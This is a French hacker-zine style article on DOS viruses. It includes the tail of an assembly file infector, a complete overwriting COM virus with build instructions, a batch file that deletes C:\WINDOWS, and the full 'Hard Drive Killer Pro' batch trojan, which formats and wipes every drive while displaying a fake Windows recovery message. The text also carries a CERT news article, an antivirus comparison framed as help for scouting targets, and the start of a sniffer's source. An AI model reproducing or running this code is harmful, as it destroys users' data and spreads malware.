; Overflow -> Inc dx
and ax,0FFF0h
; Make paragraphs
No_par_add: test byte ptr [Com_or_exe],1
jnz Calc_exe
or dx,dx
jnz not_infect
cmp ax,[maxcomsize]
; File too big?
ja not_infect
; Yes, quit
cmp ax,[VirSize]
; File too small?
jbe Not_Infect
; Yes, quit
mov [ProgSize],ax
; Save program-size
mov cl,4
shr word ptr [ProgSize],cl
; In paragraphs
mov dx,ax
xor cx,cx
call Cng_file_ptr
; Go to EOF
clc
ret
Not_Infect: stc
ret
Calc_exe: push ax
push dx
add ax,100h
; 100 bytes stack
adc dx,0
; Overflow - inc dx
mov cx,dx
mov dx,ax
call Cng_file_ptr
; Go to EOF
push bx
add ax,[VirSize]
; New exe-length
adc dx,0
mov bx,200h
; For header: / 512
div bx
or dx,dx
jz No_Correct
inc ax ; Files below
2.000.000h bytes - length correction
No_Correct: mov [Head_buf+2],dx
; Save new file-length
mov [Head_buf+4],ax
; ' ' ' ' ' ' ' '
pop bx
pop dx
pop ax
call Calc_cs_ss
mov word ptr [Head_buf+10h],100h
; Prog-SP=100h
mov word ptr [Head_buf+14h],offset VirBegin
; Set prog-IP
clc
ret
;*** Proc: Calculate new CS and SS for .EXE file ***
Calc_cs_ss: push cx
mov cx,4
Cs_ss_lp: shr dx,1
rcr ax,1
loop Cs_ss_lp
sub ax,[Head_buf+8]
; Size of header
sbb dx,0
mov [Head_buf+0Eh],ax
; Save prog-SS
mov [Head_buf+16h],ax
; Save prog-cs
pop cx
ret
;*** Check infection is possible ***
Chk_Inf: call Chk_exec
; Check file is executable
jb Not_exec
call Get_attr
; Check file has no SYS attr
Not_Exec: ret
;*** Search-paths ***
Com_path db '.COM',0
Exe_path db '.EXE',0
;*** Check file is executable (.COM / .EXE)
Chk_Exec: push es
mov es,R_ds
mov di,dx
xor al,al
mov cx,80h
cld
repnz
; Search '.'
scasb
jnz not_inf
; No '.' found
dec di
push di
mov si,offset Com_path+4
mov cx,4
std
repz
; Check '.COM'
cmpsb
pop di
jnz no_com
; No .COM
clc
jmp short Infect
nop
Not_Inf: stc
Infect: cld
pop es
ret
No_Com: mov
si,offset Exe_path+4
mov cx,4
repz
; Check '.EXE'
cmpsb
jnz not_inf
; No .EXE either - not executable
clc
jmp short infect
Get_Attr: push ds
mov ax,4300h
; Get FileAttr
xor cx,cx
mov ds,R_ds
int 21h
pop ds
jb Bad_Attr
; Error - don't infect
test cx,4
; System-Attr?
jnz Bad_Attr
; Yes, don't infect
clc
ret
Bad_Attr: stc
ret
First_bytes: int 20h
; First bytes of orig. program - here just 'Go to DOS'
dw (?)
mov bx,cs
; Overwrites the begin
add bx,[102h]
push bx
mov bx,offset VirBegin
push bx
retf
;****************************************************************************;
;
;
;
-=][][][][][][][][][][][][][][][=-
;
;
-=] P E R F E C T C R I M E [=-
;
;
-=] +31.(o)79.426o79
[=-
;
;
-=]
[=-
;
;
-=] For All Your H/P/A/V Files [=-
;
;
-=] SysOp: Peter Venkman [=-
;
;
-=]
[=-
;
;
-=] +31.(o)79.426o79
[=-
;
;
-=] P E R F E C T C R I M E [=-
;
;
-=][][][][][][][][][][][][][][][=-
;
;
;
;
*** NOT FOR GENERAL DISTRIBUTION ***
;
;
;
; This File is for the Purpose of Virus Study
Only! It Should not be Passed ;
; Around Among the General Public. It Will be
Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With
Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With
a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent
Program Than it Already ;
; Is. Keep This Code in Responsible Hands!
;
;
;
;****************************************************************************;
Maintenant regardons les fonctionnalités de différents
virus:
Remarque: il est évident que cette partie est incomplète,
pour preuve: ceci ne sont des détails que sur 14 des 750 virus que
j'ai en banque de donnée. Il sort en moyenne 100 virus par mois,
donc cette liste ne sert qu'à vous donnez un aspect global des fonctionnalités
des différents virus.
Les différents types de virus:
Ca sert à rien de répéter ce qui est déjà dit, mais un article sur les virus sans ça, c'est dommage.
- Virus de fichier, ou virus à action directe:
Ces virus ajoutent leur code à celui de fichiers executables
(avec l'extension .EXE, .COM, .SYS, etc)
-Virus résidents:
Ces virus se chargent en mémoire centrale et, de là,
contaminent d'autres programmes.
- Virus du secteur d'amorce des disques:
Ces virus remplace l'amorce d'un disque par leur propre code, déplacant
cette amorce sur le disque et se chargent ensuite en premier en mémoire
centrale, dés les premiers accés aux disques.
De là, il rendent inutilisable le disque d'amorçage ou
se propagent à d'autre disque où ils commettent alors leurs
Payload. (en englais action /méfait)
-Virus furtifs:
Voici une catégories de virus qui échappe à toutes
détection en se camouflant.
Il faut savoir qu'une méthode de détection classique
des virus triviaux consiste à enregistrer la longeur d'un programme.
Lorsqu'un virus frappe ce dernier, il ajoute son propre code ce qui par
conséqunt accroît la taille du fichier infecté.
Or, un virus furtif, lui, s'arrange pour qu'on lise toujours la même
longeur pour le fichier contaminé. Si vous lancez un Dir (sous Dos)
par exemple, le virus détourne cette demande, effectue un petit
calcul et hop! affiche la taille initial du fichier non contaminé.
(pas con la petite bête ! ..)
- Virus cryptés:
Les virus cryptés sont encore plus vicieux. Ils modifie leur
popre code par cryptage (XOR en assembleur pour les connaisseurs).
Il existe des multitudes de moteur de cryptage dont le plus connus
est le MTE (Mutation Engine) de Dark Avenger.
- Virus polymorphe ou mutant:
Ces derniers sont encore plus malin car ils modifient leurs propre
signature à chaque contamination. En effet, il faut savoir que les
Anti-Virus recherche en priorité les signatures des virus, c'est
à dire les chaînes de caractères qui lui sont propres.
Et là, héhé ils sont pas dans la merde moi je vous
le dis.
- Virus pièges:
Le virus piège associe un virus connu à un virus encore
inconnu. Vous détectez le premier et, tout happy vous l'éliminez
en le détruisant, mais le secon lui subsiste. (Nice shot !)
- Rétrovirus:
Le rétrovirus est un virus spécialement créé
pour contrer et déjouer les fonctions d'un logiciel antivirus donné.
Connaissant le mode d'action de cet antivirus, il le contre et déjoue
ses pièges.
Pourquoi code-t-on les virus en assembleur:
L'asm est l'abbréviation de "assembleur". Les fichiers programmés
en assembleur et non compilés sont de type .asm., une fois compilés
ils prennent la forme d'un .exe. Si les virus sont programmés en
assembleur c'est parce que l'assembleur est le language machine, et qu'à
partir du moment où un programme est programmé en assembleur
il peut TOUT faire sur le système d'exploitation.
Porgrammer en assembleur requiert donc de:
- connaitre le système d'exploitation
- connaitre ce language de programmation
Autre avantage de l'assembleur, c'est que les programmes fait en assembleur
sont assez petits (quelques ko), ce qui peut cependant évoquer une
certaine méfiance.
En quoi Linux/UNIX est "immunisé" contre les virus:
Linux a deux caractéristiques qu'il faut retenir:
Exécution en mode protégé sur les processeurs
x86. Protection de la mémoire entre les processus, afin qu'un programme
ne puisse à lui seul compromettre le fonctionnement de l'ensemble
du système. Donc les virus résidents ne peuvent pas se propager
(c.f. plus haut)
Donc même si les virus ne peuvent pas se lancer, les mouchards
(sniffers) le peuvent.
Programmation de virus (par Syphillis [Beef13]):
Ce programme est tout simple : Il cherche les fichiers COM dans le rep
courant
et les infecte en se copiant au tout debut du fichier.
Mais comment chercher des fichiers ?
En utilisant la fonction de l'API DOS appropriée. Comment la
connaitre ? En
lisant le truc sur les interrupt de DEF ou HELPPC ou la Bible PC.
Bon dans notre cas, il s'agit des fonctions 4Eh et 4Fh. Ces fonctions
correspondent aux fonctions C findfirst() et findnext() mais ici on
n'a pas
de ffblk.
Il faut d'abord appeler la fonction 4Eh ( findfirst ) avec comme paramètre
en AH le numéro de la fonc et en dx l'OFFSET sur une chaine
ASCIIZ (qui finit
par un zero si t es trop con pour savoir ce que c'est ) avec le nom
du fichier
à rechercher ( les caractères jokers sont acceptés
).
En retour le CARRY FLAG est arm‚ si y a pas de fichier. Si un fichier
est
trouvé plein de trucs sont mis dansl la DTA qui est toujours
située à partir
de l'OFFSET 80h du PSP. Le nom du fichier se trouve à L OFFSET
9Eh. Pour
rechercher un autre fichier, il suffit d'appeler la fonction 4Fh (
mov ah,4Fh)
puis int 21h).
Bon maintenant on sait chercher des fichiers. Mais comment s'en servir.
Souviens toi qu'on a le nom du fichier qu'on vient de trouver à
l offset 9Eh,
au debut du segment dans le PSP ( Prefix Segment Program ou l inverse
sais
plus).
Il va encore falloir se servir des fonctions de l'API DOS. Les utiles
ici
sont au nombre de trois :
la 3Dh : ouvrir un fichier (Handle)
la 3Eh : fermer un fichier (Handle)
la 40h : écrire dans un fichier (Handle)
Dans le monde de DOS il existe 2 moyens de se servir des fichiers :
le FCB
et les Handles. Nous utiliserons les Handle qui sont beaucoup plus
pratique
dans cette situation.
pour ouvrir un fichier, il suffit de foutre en AH le numéro de
la fontion
(3Dh) en AL les attributs et en dx l'offset sur la chaine ASCIIZ du
nom de
fichier puis un petit int 21h et le tour est joué. Cette fonction
renvoie
le Handle du fichier en AX. Mais comme toutes les autres fonctions
le veulent
en BX ou le foutra en BX toute suite grâce à un xchg ax,bx.
Puis on écrit dedans le virus au tout début du fichier.
Etant donné qu'il
viens d'être ouvert, il est au tout début et pas de soucis
à avoir de ce côté‚
là. Pour ecrire fous en AH 40h, en Bx le Handle, en CX la taille
et en DX
l'offset du buffer à écrire. Dans notre cas l'offset
est égal à 100h
( fin du PSP et début du prog). La taille a été
codée directement mais
on aurait pu mettre un OFFSET machin avec un machin: à la fin
du file
pour ke tout soit OK.
Reste à fermer le fichier avec la fonction 3Eh qui attends le
handle en BX
et le tour et joué.
Voici maintenant le fichier. Grâce … queqlques astuces dans son
organisation
j ai pu réduire sa taille au max.
-------------------------- Fichier HACKER1.ASM ---------------------------------
; Ce virus est un virus débile !!!!!
.model small
;modele de mémoire
.code
;segment de code
ORG 100h ;un COM commence … l adresse mémoire 100h
CON1:
mov
ah,4Eh
; Rechercher le premier COM du répertoire
mov
dx,OFFSET FILESPEC
int
21h
INFECT:
jc
FIN
; si aucun -> FIN
mov
ax,3D01h ;
un fichier a été trouvé :
mov
dx,9Eh
; l'ouvrir
int
21h
xchg ax,bx ;Handle en BX
mov
ah,40h
;Ecrire le virus au début du fichier
mov
cx,2Dh
;Taille du virus
mov
dx,100h
int
21h
mov
ah,3Eh
;fermer le fichier
int
21h
mov
ah,4Fh
;chercher fichier suivant
int
21h
jmp
INFECT
FIN:
ret
FILESPEC DB '*.COM',0 ; Doit finir par un zéro !
END IGA1
------------------------------- Fin du Fichier
-------------------------------
Voilà c'est tout !
Pour le compiler : tasm HACKER1
tlink /t HACKER1
et on a le fichier hacker1.com
Si tu ne comprends pas ce code, passe ton chemin !
Si toi tester ce virus, il detruira tous les fichiers COM du répertoire
!
C'est un peu ennuyeux si on veux rester discret.
Un autre truc. Il ne marche pas avec les fichiers EXE. C normal, ceux
ci
ayant un en-tête precis et pouvant faire plusieurs segment, ils
sont plus
compliqués à infecter.
Remarque: je n'ai pas vérifié la véracité
de ces faits, de plus au niveau de la compilation du programme je pense
qu'il vaut mieux rajouter ces quelques lignes (Note de Clad Strife):
Le programme doit être saisi dans un fichier texte non formatté
(c'est-à-dire sans caractères en gras, souligné, avec
des polices de caractères de différentes tailles, ...) appelé
fichier source. En effet, l'assembleur (le programme permettant de faire
la traduction du langage assembleur en langage machine) permet uniquement
de créer un fichier assemblé à partir du fichier source
(il devra comporter l'extension .ASM, en s'appelant par exemple source.asm
ou n'importe quel autre nom suivi de l'extension .asm).
L'assembleur va fournir un fichier objet (dont l'extension est .obj)
qui va contenir l'ensemble des instructions traduites en instructions machines.
Ce fichier .OBJ ne pourra toutefois pas s'exécuter directement car
il faut encore lier les différents fichiers.
Comment ça les différents fichiers?
En effet il est possible de construire un exécutable à
partir de plusieurs fichiers sources (à partir d'un certain niveau
de programmation il devient intéressant de créer des fichiers
contenant des fonctions...). Ainsi, même si vous avez un seul fichier
objet il vous faudra utiliser un programme (appelé éditeur
de liens) qui va vous permettre de créer un fichier exécutable
(dont l'extension sera .exe).
A quoi ressemble un fichier en assembleur:
Comme dans tout programme le fichier source doit être saisi de
manière rigoureuse. Chaque définition et chaque instruction
doivent ainsi s'écrire sur une nouvelle ligne (pour que l'assembleur
puisse les différencier) Le fichier source contient:
Des définitions de données déclarées par
des directives (mots spéciaux interprétés par l'assembleur,
nous les étudierons plus tard, le but est ici de donner une idée
de ce à quoi ressemble un fichier source) Celles-ci sont regroupées
dans le segment de données délimité par les directives
SEGMENT et ENDS
Puis sont placées les instructions (qui sont en quelques sorte
le coeur du programme), la première devant être précédée
d'une étiquette, c'est-à-dire un nom qu'on lui donne. Celles-ci
sont regroupées dans le segment d'instructions délimité
par les directives SEGMENT et ENDS
Enfin le fichier doit être terminé par la directive END
suivi du nom de l'étiquette de la première instruction (pour
permettre au compilateur de connaître la première instruction
à exécuter
(Les points-virgules marquent le début des commentaires, c'est-à-dire
que tous les caractères situés à droite d'un point
virgule seront ignorés)
Voici à quoi ressemble un fichier source (fichier .ASM):
donnees SEGMENT; voici le segment de données dont l'étiquette est donnees
;Placez ici les déclarations de données
donnees ENDS; ici se termine le segment de donnees
ASSUME DS:data, CS: code
instr SEGMENT; voici le segment d'instructions dont l'etiquette est instr
debut: ;placez ici votre premiere instruction (son etiquette est nommée debut)
;Placez ici vos instructions
instr ENDS; fin du segment d'instructions
END debut; fin du programme suivie de l'etiquette de la premiere instruction
la déclaration d'un segment
Comme nous le verrons plus loin <segmentation.htm>, les données
sont regroupées dans une zone de la mémoire appelé
segment de données, tandis que les instructions se situent dans
un segment d'instructions.
Le registre DS (Data Segment) contient le segment de données,
tandis que le registre CS (Code Segment) contient le segment d'instructions.
C'est la directive ASSUME qui permet d'indiquer à l'assembleur où
se situe le segment de données et le segment de code.
Puis il s'agit d'initialiser le segment de données:
MOV AX, nom_du_segment_de_donnees
MOV DS, AX
On va s'en arrêter là pour la programmation en assembleur.
Bases de la programmation de .bat:
La création de fichiers .bat est simple: il suffit de s'y connaitre
un peu en MS-DOS, et savoir taper sur son clavier. D'abord quelqes commandes
de bases:
echo off : désactive l'affichage de ce
qui se passe
dir C:\WINDOWS : affiche le contenu de C:\WINDOWS
del C:\WINDOWS\*.exe : efface tous les fichiers
.exe du C:\WINDOWS
echo. : saute une ligne
echo J'écris bien hein? : affiche ce qui
est écrit après [echo]
cls : efface l'écran
pause : demande d'appuyez sur une touche pour
continuer
C:\WINDOWS\telnet.exe : éxécute
telnet
Donc voici le genre de fichiers .bat extrèmement
dangereux que vous pouvez faire:
echo off
echo this programm is created by XXX all rights
reserved
pause
del C:\WINDOWS\*.*
dir C:\WINDOWS\
echo t'es mort
cls
On peut aussi créer des menus d'options:
@echo off
:menu
cls
echo.
echo Menu d'options :
echo -----------------------
echo 1. Editer autoexec.bat
echo 2. Editer config.sys
echo.
echo Q. Quitter
echo.
choice /c:12Q /t:Q,60 /n Votre choix ?
if errorlevel 255 goto erreur
if errorlevel 3 goto Quitter
if errorlevel 2 goto EditConf
if errorlevel 1 goto EditAuto
if errorlevel 0 goto erreur
goto fin
:erreur
echo Il y a eu une erreur.
goto fin
:Quitter
goto fin
:EditConf
edit c:\config.sys
goto menu
:EditAuto
edit c:\autoexec.bat
goto menu
:fin
Si vous n'avez pas compris le passage sur la commande choice et errorlevel,
voilà de quoi vous aider:
Aide sur CHOICE :
choice [/c:ON] [/t:X,nn] [/n] [Invite]
/c:ON Choix de lettres utilisables (ici O et N) (ON par défaut)
/t:X,nn Choisira automatiquement option X après nn secondes.
X doit faire parti de la liste /c:
/n Interdit le respect de la casse
Invite Texte d'invite qui apparaît
Errorlevel correspond au choix de l'utilisateur. c'est comme la variable
de réponse en Q-Basic.
Paramètre de la ligne de commande
@echo off
cls
echo.
echo Le prog est %0
echo.
echo Bonjour %1,
echo.
echo A plus, %2
Enregistrer sous "c:\test.bat" et taper sous dos :
c:\test.bat "votrenom" "unAutrenom"
%X correspond au Xième groupe de caractères sur la ligne
de commande pour X={0;9}
Très pratique pour faire un prog d'installation :
xcopy a:\*.* %1:\%2
Ici, %1 est la lettre de lecteur et %2 le dossier.
Virus en .bat:
L'article qui va suivre va faire une brève description d'un virus
en .bat qui est malheureusement détecté par AVP et Norton
(synonyme de qualité donc), comme trojan. Au sens littéral
du terme un trojan et un virus se différencie par très peu
de choses: un virus s'inscrit partout sur un HD (pour parler aussi simplement),
un trojan non. Il existe 2 sortes de trojans:
- les trojans usuels (que vous connaissez et qui se foutent comme serveur
sur votre bécane)
- les trojans destructeurs (celui qui va suivre)
Voici le code source à copier dans un .txt et à renommer
en .bat.
@echo off
rem This program is dedecated to a very special
person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r
s t u v w x y z
rem code insertion for Drive Checking takes place
here.
rem drivechk.bat is the file name under the root
directory.
rem As far as the drive detection and drive variable
settings, don't worry about how it
rem works, it's damn to complicated for the average
or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1:
$b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not
true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps
to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p
$b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified
is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to
the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0
bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1
>>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive
is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified
drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:testdrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while
Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a:
/q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while
Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat
%%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while
Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\
>nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while
Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a:
/q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while
Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat
%%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while
Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\
>nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga
Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I
just made it. The purpose of this program is to tell you the following.
. . >>c:\autoexec.bat
echo echo 1. To make people aware that security
should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it,
truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then
you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. If you are Australian, I feel sorry
for you, accept my sympathy, you retard. >>c:\autoexec.bat
echo echo 5. Don't support the following: War,
Racism, Drugs and the Liberal Party.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat
>nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2"
"if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a
Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul
goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories,
hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u
/autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a
Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\
/S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a
Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not
a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst
thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that
one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).
Article de Libération sur les "pompiers du net":
Quand le câble qui achemine les données de
l'Internet vers l'Angleterre a viré au rouge sur l'écran
de contrôle, il a fallu réagir très vite. «Au
début, on ne savait pas ce qui se passait», raconte David
Crochemore. Sous ses yeux, il avait la cartographie des tuyaux qui composent
Renater, le réseau informatique français de l'enseignement
et de la recherche. Quand un des liens passe au orange ou au rouge, c'est
l'alerte. Simple souci technique ou attaque de pirate informatique?
Riposte. Ce jour d'octobre, un hacker était passé par
là: le câble qui relie Renater à l'Angleterre était
presque saturé, «très encombré» par des
données envoyées en masse par le pirate malveillant. Coups
de téléphone aux techniciens présents aux endroits
stratégiques, interventions sur les ordinateurs. «En quelques
heures, on a réglé le problème.»
David Crochemore, avec sa moustache en guidon de vélo, est un
pompier. Un soldat du feu high-tech, responsable pour Renater du Cert (Computer
Emergency Response Team), le nom générique donné aux
«équipes de riposte en cas d'urgence informatique».
Partout dans le monde, des structures de ce type ont pour mission de réagir
aux attaques de pirates, aux virus et à tous les hoquets de sécurité
de l'Internet.
«Notre rôle n'est pas de déposer plainte ou de donner
la chasse aux pirates, explique David Crochemore, mais d'assister les utilisateurs
victimes d'une attaque.» Le Cert, qu'il dirige coordonne les efforts
des spécialistes de la sécurité présents notamment
au CEA (Commissariat à l'énergie atomique), au Cnes (Centre
national d'études spatiales) et dans les universités. Il
diffuse des alertes, avertit de l'existence de nouveaux virus, fournit
des documents sur les failles de sécurité des logiciels.
Et, dans l'autre sens, centralise les informations envoyées par
ses correspondants. Un bon moyen pour repérer les attaques à
la mode. «Quand un nouvel outil de piratage apparaît, tous
les hackers de bas étage se ruent dessus», sourit Crochemore.
Le boulot ne manque pas. Par jeu ou par malveillance, les pirates ne
cessent de prendre d'assaut les machines. Du côté de Renater,
David Crochemore avoue cinq ou six problèmes graves (prise de contrôle
d'un ordinateur) et cinquante à soixante-dix incidents plus bénins
par mois. «C'est près de cinq fois plus qu'il y a deux ans,
dit-il. Mais on ne nous signale pas tout.» A Bordeaux, le responsable
de la sécurité des universités concède qu'il
est victime de «deux à trois tentatives de piratage quotidiennes».
Et précise que «ceux qui disent qu'ils ne sont pas attaqués
sont des menteurs».
Urgence. La création du premier Samu de
la sécurité informatique remonte à décembre
1988, à l'université de Carnegie Mellon (Pittsburgh), à
la demande de la Darpa, l'agence de recherche et développement du
département de la Défense américain. Il y avait urgence:
un virus lâché par l'étudiant Robert Morris le mois
précédent venait de paralyser plus de 10 % des ordinateurs
connectés à l'Internet. Depuis, c'est l'explosion. En France,
une équipe de technopompiers destinée à secourir les
administrations et les ministères devrait voir le jour avant la
fin de l'année. L'organisme sera piloté par le Service central
de la sécurité des systèmes d'information (SCSSI),
aux ordres de Matignon.
Coopération. Au total, la planète
compte près de 80 équipes, fédérées
au sein du First (Forum of Incident Response and Security Teams), basé
aux Etats-Unis. Cet organisme est chargé d'assurer la coopération
des différents Cert en cas de pépin d'ampleur. Ainsi, en
mars, quand le virus Melissa a déferlé sur l'Internet, «une
conférence téléphonique avec plusieurs dizaines de
personnes de toute la planète a eu lieu», raconte David Crochemore.
Des Asiatiques, victimes du décalage horaire, ont dû se relever
en pleine nuit pour le briefing. Une procédure d'urgence, mais encore
un peu poussive: lorsque les Cert ont enfin délivré le moyen
de lutter contre Melissa, le virus avait déjà fait le tour
de la planète.
Pompier du Net, un métier d'avenir? Selon
le général Jean-Louis Desvignes, le patron du SCSSI, c'est
certain. Pressés par une concurrence très forte, les éditeurs
de logiciels ne cessent de sortir de nouvelles versions de leurs produits,
souvent sans prendre le temps de vérifier si des failles de sécurité
subsistent. «On vous annonce une nouvelle version alors que la précédente
est encore pleine de bugs, s'agace-t-il. Et l'Internet augmente la vulnérabilité
des ordinateurs.» Un bonheur pour les pirates, toujours prêts
à se faufiler dans le moindre interstice. Et de nouveaux incendies
en prévision.
Antivirus:
Posséder un anti-virus c'est bien, savoir lequel
choisir c'est mieux. Les antivirus détectent évidemment foule
de virus, avec une base de données remises à jour chaque
semaine. Des gens sont payés pour trouver des virus. Le plus connu
des Anti-Virus est Norton Anti-Virus, mais est-il réellement efficace?
Oui il l'est mais dans des proportions non effarantes. Sur 700 fichiers
de scannés Norton n'a trouvé que 200 virus sur les 400 mis
à disposition. De plus Norton scann tout ce qui est cracker (multiicq
par exemple), ou bien des programmes comme la partie client de BO2K qui,
jusqu'à nouvel ordre, n'est pas infecté par un trojan. De
plus Norton peut vous donner la description de certains virus/troyans:
bien vague... Alors que Norton fait une description de Netbus 1.7 (serveur)
il n'en fait pas pour la 2.0: quand on sait que la deuxième est
la plus dangereuse...
Si je devais vous conseiller un Anti-Virus je devrais vous conseiller AVP (Anti Viral Toolkit pro), il détecte 20% de plus de virus (sans rajouter n'importe quoi) que NAV.
Sinon voici un comparatif d'antivirus:
SYMANTEC NORTON ANTIVIRUS FOR FIREWALLS
Recherche les virus sur le: HTTP, SMTP, FTP.
Ne recherche pas de magouilles sur les Applets
Ne fait recherche les certificats (intéressant)
Ne recherche pas de signatures (intéressant)
Ne recherche pas les sources (intéressant)
Ne filtre pas les E-mails (intéressant)
Ne fait pas de gestionnaire de délivrance de courrier
Pas d'OPSEC Compliant (NT)
Pas d'OPSEC Compliant (UNIX)
Ne fait pas de filtrage d'adresses url (intéressant)
Ne fait pas de filtrage de spamming (haha!)
Il ne bloque pas les cookies (intéressant)
Les algorithmes de compression supportés: ARJ, ZIP
Ne détecte pas l'e-mail spoofing (intéressant)
TREND INTERSCAN VIRUS WALL
Recherche les virus sur le: HTTP, SMTP, FTP.
Recherche les magouilles sur les Applets
Recherche les certificats
Recherche de signatures
Recherche pas les sources
Filtre les E-mails
Fait un gestionnaire de délivrance de courrier
OPSEC Compliant (NT)
OPSEC Compliant (UNIX)
Ne fait pas de filtrage d'adresses url
Fait du filtrage de spamming
Il ne bloque pas les cookies
Les algorithmes de compression supportés: 19 types
Ne détecte pas l'e-mail spoofing
Ainsi on peut voir que TREND INTERSCAN VIRUS WALL est très fiable (plus que NORTON). Mais si cette liste est là c'est pour une raison: les réseaux utilisent toujours ces deux là (en général, attention!), pour se sécuriser. Donc il est possible d'étudier ce que fait et ne fait pas chacun de ces utilitaires, pour mieux se renseigner sur la cible! Un réseau n'utilisant que NORTON, ne sera pas assez sécurisé et présentera donc des failles (pas de filtrages mails par exemple).
Conclusion: on devrait s'en arrêter là pour les virus et
le domaine qui tourne autour. Prochainement un "Culture" sur les Virus
et Anti-virus, d'ici là potassez bien votre programmation.
Chapitre 2: Hunt
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
